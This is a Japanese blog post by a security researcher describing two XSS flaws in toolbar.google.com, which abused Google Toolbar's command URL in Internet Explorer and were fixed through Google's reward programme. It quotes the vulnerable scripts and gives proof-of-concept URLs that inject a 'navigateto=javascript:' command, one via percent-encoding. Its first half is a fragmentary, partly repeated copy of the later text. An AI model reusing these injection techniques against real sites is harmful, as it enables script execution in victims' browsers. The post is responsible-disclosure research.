The English version is here: http://mksben.l0.cm/2016/01/google-toolbar-xss.html
何が変わっているか
このXSSは、Google ToolbarがインストールされているIEでしか動作しません。Google Toolbarがインストールされていると、toolbar.google.com 上に用意されたUIから、ツールバーを操作するコマンドを実行できるようになります。このコマンドを利用することでXSSに繋げるという点が、よくあるものとは異なります。
どのようにコマンドを実行しているか
toolbar.google.com 上の次のページをみると、こんなコードを発見できます。
http://toolbar.google.com/fixmenu
<script language="JavaScript"> <!--このページでは、ツールバーの設定をリセットできるようになっています。
function command(s) {
window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;
}
function fixMenu() {
command('&fixmenu=1');
alert(document.all['restartmessage'].innerText)
}
// -->
</script>
(省略)....
<input type=button onclick='javascript:fixMenu()' value="Reset IE's Toolbar menu">
ページ内のボタンを押すと、
fixmenu()
→command('&fixmenu=1')
と関数が呼ばれます。command()
関数では、window.location="http://toolbar.google.com/command?key="...
に対してナビゲーションしようとしているようにみえますが、実はこれがコマンド実行操作です。Google Toolbarがインストールされている場合は、http://toolbar.google.com/command に対するナビゲーション操作が、ページ遷移ではなく、コマンドの実行と解釈されるようになります。 このURLにつけられたクエリが実行したいコマンド操作に対応しています。例えば、このページでできるツールバーのリセット操作は fixmenu=1
に対応しています。'...?key=' + document.googleToken
の部分は、外部から勝手にコマンドを実行させないためのCSRFトークンの役割をしています。document.googleToken
には、Google Toolbar が設定したランダムな値が入ります。この値が正しくないと、コマンドは実行されません。この値は、toolbar.google.com 上のみで参照可能です。ざっと、こんな作りになっています。
こういう特殊な実装部分にはいかにも脆弱性がありそうです。なんだかおもしろそうなので、時は2015年ですが、Google Toolbarをインストールして詳しくみてみることにしました。
コマンドの調査
まずは、どんなコマンドがあるか、toolbar.google.com 上に書かれたコマンドをみてまわったり、Toolbarのバイナリを覗いてみたりしました。
見ていく中で、
navigateto
というコマンドがあることがわかりました。このコマンドは、名前の通り、ナビゲーションをするためのコマンドでした。toolbar.google.com 上で開いたコンソールで次を実行すると、example.com に対してナビゲーションが起きました。(※なお、最新のGoogle Toolbarではこのコマンドは無くなっているようです。)
location="http://toolbar.google.com/command?key="+document.googleToken+"&navigateto=http://example.com/"ナビゲーションとわかれば、httpなURL以外でもナビゲーションできるか試してみたくなります。
この部分を
javascript:
のURLに変えて試してみます。location="http://toolbar.google.com/command?key="+document.googleToken+"&navigateto=javascript:alert(1)"すると、アラートが実行されました!おお!でも、まだ喜ぶところではありません。
なぜなら、
document.googleToken
の値が外からはわからないため、このコマンドを誰かに罠リンクを踏ませて実行させるようなことはできないからです。逆に言えば、document.googleToken
の値をどうにかして取得できれば、スクリプトを実行させられるかもしれません。XSS脆弱性の発見 その1
なんとかならないかと、toolbar.google.com のページをみてまわっていると、次のようなページをみつけました。
http://toolbar.google.com/dc/dcuninstall.html (現在はページが無くなっています。 WebArchive でみれます。)
コマンドの詳細はさておき、注目すべきはここに含まれている
https://toolbar.google.com/dc/dcuninstall.html
でも、この切り出し方は雑すぎます。余分なスラッシュをもっと後ろに入れられたら予想外のURLを切り取ることになります。
https://toolbar.google.com/dc/dcuninstall.html?xxx/yyy
この切り取った文字列は
ここでは
ところが、次のようなURLを与えたらどうでしょう? &がポイントです。
https://toolbar.google.com/dc/dcuninstall.html?&navigateto=javascript:alert(1)//
URL に & を挿入したことで、ページ側が指定した
このように、コマンドにユーザー入力値を不用心に引き渡している部分を利用することで、
さらに、同じようなパターンでXSSできないか toolbar.google.com を漁っていると、また面白いページをみつけました。
https://toolbar.google.com/buttons/edit/index.html
順に見ていきます。
ページを開くと、
ここでは、太字部分にあるように
ここで設定された、
XSSは無理かと思われましたが、もう一度、
https://toolbar.google.com/buttons/edit/index.html?custom_button_uri=%26navigateto%3Djavascript:alert(document.domain)
http://toolbar.google.com/command?key=[TOKEN]&custom-button-load=&navigateto=javascript:alert(document.domain)
ドーン!
この2件の問題はGoogle VRPを介して報告し、 $3133.7 × 2 の報奨金を獲得しました。
文書化されていないコマンドの動作を把握するのは大変でしたが、古い技術にひっそりと残っている脆弱性を暴けたときの喜びはひとしおでした。
古い技術とはいえ、特権が与えられた機能の実装が脆弱性に繋がってしまうことは、最近トレンドマイクロのパスワードマネージャでもあったように、今の時代の技術にも潜んでいる、今後も注意を払う必要がある普遍の部分だと思います。
最後に、この時期に毎年紹介しているGoogleからのクリスマスプレゼント、今年も頂いたので紹介したいと思います。(以前いただいたものはこちら: Chromebook、Nexus 10、Nexus 5、Moto 360 )
Googleのロゴ入りのUSB Armory というガジェットと、Bug Bountopoly(バグハンター版のモノポリー?!)、Googleセキュリティチームからのポストカードです。
日本語のメッセージと バグハンターのイラスト をかいてくれたのは、 夏に日本のGoogleオフィスでお会いしたセキュリティチームのStephenさんです。掲載許可をもらったので載せます。かわいい!
今年もXSS送りできるよう頑張ります!
http://toolbar.google.com/dc/dcuninstall.html (現在はページが無くなっています。 WebArchive でみれます。)
<script language="JavaScript"> <!--最初の例と同様に、ボタンを押すと、コマンドが実行されるようなページです。
function command(s) {
window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;
}
function OnYes() {
var path = document.location.href.substring(0,document.location.href.lastIndexOf("/") + 1);
command("&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=" + path + "dcuninstalled.html");
// window.location=path + "dcuninstallfailed.html";
}
// -->
</script>
...
<script language="JavaScript"> <!--
document.write('<button default class=button name=yes ');
document.write('onclick="OnYes(); ">Uninstall Google Compute</button>');
// -->
</script>
OnYes()
からのcommand("&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=" + path + "dcuninstalled.html");
で、コマンドの実行をしています。ここでそうしているように、& で繋げると複数のコマンドを一度に指定できるみたいです。コマンドの詳細はさておき、注目すべきはここに含まれている
path
という変数です。path
は直前で定義されています。var path = document.location.href.substring(0,document.location.href.lastIndexOf("/") + 1);
location.href
からコマンドに含む文字列を受け取っている様子です。詳しくみると、URLの先頭から、 document.location.href.lastIndexOf("/") + 1
で、URLの最後に出てくるスラッシュまでをsubstring()
で切り取っています。このコードを書いた人が取り出したいのは、以下の太字部分の、ファイル名をのぞいたパスまででしょう。https://toolbar.google.com/dc/dcuninstall.html
でも、この切り出し方は雑すぎます。余分なスラッシュをもっと後ろに入れられたら予想外のURLを切り取ることになります。
https://toolbar.google.com/dc/dcuninstall.html?xxx/yyy
この切り取った文字列は
navigateto=
に連結されるので、ナビゲーションに使いたいようです。ここでは
location.href
の先頭から切り取っているため、いくら切り出すURLを間違えているとはいえ、一見、XSSどころかオープンリダイレクトバグにすらならないようにも思えます。ところが、次のようなURLを与えたらどうでしょう? &がポイントです。
https://toolbar.google.com/dc/dcuninstall.html?&navigateto=javascript:alert(1)//
スラッシュはURL全体の一番最後にあるので、URL全てが切り取られることになります。
このURLが
path
という変数に入り、コマンドとして実行されるときの値をみてみましょう。
http://toolbar.google.com/command?key=[TOKEN]&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=https://toolbar.google.com/dc/dcuninstall.html?&navigateto=javascript:alert(1)//dcuninstalled.html
URL に & を挿入したことで、ページ側が指定した
navigateto=
に渡るURLは挿入した&の手前で区切られることになります。その後ろに、自身でもう1つnavigateto=
を追加します。すると、navigateto
のコマンドが2つあることになりますが、同じコマンドが複数あるときは、一番後ろにあるコマンドが実行されるようになっているようです。よって、発生するnavigateto
によるナビゲーションは、javascript:alert(1)//dcuninstalled.html に対するものになります。これで、アラートが実行されます!このように、コマンドにユーザー入力値を不用心に引き渡している部分を利用することで、
document.googleToken
を知らずとも、XSSに繋げることに成功しました。XSS脆弱性の発見 その2
さらに、同じようなパターンでXSSできないか toolbar.google.com を漁っていると、また面白いページをみつけました。
https://toolbar.google.com/buttons/edit/index.html
<script language=JavaScript>
<!--
document.custom_button_uid = "";
function command(s) {
window.location = "http://toolbar.google.com/command?key=" +
document.googleToken + s;
}
function Load() {
var url = window.document.URL.toString();
var url_pieces = url.split("?");
if (url_pieces.length > 1) {
var params = url_pieces[1].split("&");
var i = 0;
for (i = 0; i < params.length; i++) {
param_pieces = params[i].split("=");
if (param_pieces.length == 2 &&
param_pieces[0] == "custom_button_uri" &&
param_pieces[1].length > 0) {
document.custom_button_uid = unescape(param_pieces[1]);
}
}
}
if (document.custom_button_uid != "") {
action.innerHTML = document.forms[0].edit_mode_title.value;
command("&custom-button-load=" + document.custom_button_uid);
}
}
....
// -->
</script>
<body onload="Load()">
ページを開くと、
body onload
で、Load()
関数が実行されます。<body onload="Load()">
Load()
関数では、document.URL
から自身のURLをurl
変数に入れ、var url = window.document.URL.toString();クエリを & で分解し、さらに = で分解して、パラメータ名と値のペアを取り出しています。
ここでは、太字部分にあるように
custom_button_uri
というパラメータを探しています。パラメータがあれば、その値をdocument.custom_button_uid
という変数に代入するようになっています。var url_pieces = url.split("?");
if (url_pieces.length > 1) {
var params = url_pieces[1].split("&");
var i = 0;
for (i = 0; i < params.length; i++) {
param_pieces = params[i].split("=");
if (param_pieces.length == 2 &&
param_pieces[0] == "custom_button_uri" &&
param_pieces[1].length > 0) {
document.custom_button_uid = unescape(param_pieces[1]);
}
}
}
ここで設定された、
document.custom_button_uid
はこのすぐ後で、コマンド実行関数へと引き渡されます。if (document.custom_button_uid != "") {少なくとも、ユーザー入力値が
action.innerHTML = document.forms[0].edit_mode_title.value;
command("&custom-button-load=" + document.custom_button_uid);
}
custom_button_uri
というクエリを介してコマンド文字列として渡っているということです。危なっかしいかんじがしますが、&ごとにクエリを分解しているため、1つ目のXSSで示したような、単純に&で追加のコマンドを紛れ込ますような手は使えません。XSSは無理かと思われましたが、もう一度、
document.custom_button_uid
を設定しているところをよくみてみると、document.custom_button_uid = unescape(param_pieces[1]);
なんと都合がいいことに、
custom_button_uri
の値をunescape
関数にかけているではありませんか。ということは、発見されると分解されてしまう & と = を以下のようにエンコードしてcustom_button_uri
に渡せば、https://toolbar.google.com/buttons/edit/index.html?custom_button_uri=%26navigateto%3Djavascript:alert(document.domain)
%26
が&
、%3D
が=
にunescapeされ、最終的に実行されるコマンドは次のような、navigateto=
を含むものになります。http://toolbar.google.com/command?key=[TOKEN]&custom-button-load=&navigateto=javascript:alert(document.domain)
ドーン!
おわりに
この2件の問題はGoogle VRPを介して報告し、 $3133.7 × 2 の報奨金を獲得しました。
文書化されていないコマンドの動作を把握するのは大変でしたが、古い技術にひっそりと残っている脆弱性を暴けたときの喜びはひとしおでした。
古い技術とはいえ、特権が与えられた機能の実装が脆弱性に繋がってしまうことは、最近トレンドマイクロのパスワードマネージャでもあったように、今の時代の技術にも潜んでいる、今後も注意を払う必要がある普遍の部分だと思います。
最後に、この時期に毎年紹介しているGoogleからのクリスマスプレゼント、今年も頂いたので紹介したいと思います。(以前いただいたものはこちら: Chromebook、Nexus 10、Nexus 5、Moto 360 )
Googleのロゴ入りのUSB Armory というガジェットと、Bug Bountopoly(バグハンター版のモノポリー?!)、Googleセキュリティチームからのポストカードです。
日本語のメッセージと バグハンターのイラスト をかいてくれたのは、 夏に日本のGoogleオフィスでお会いしたセキュリティチームのStephenさんです。掲載許可をもらったので載せます。かわいい!
今年もXSS送りできるよう頑張ります!
0 件のコメント:
コメントを投稿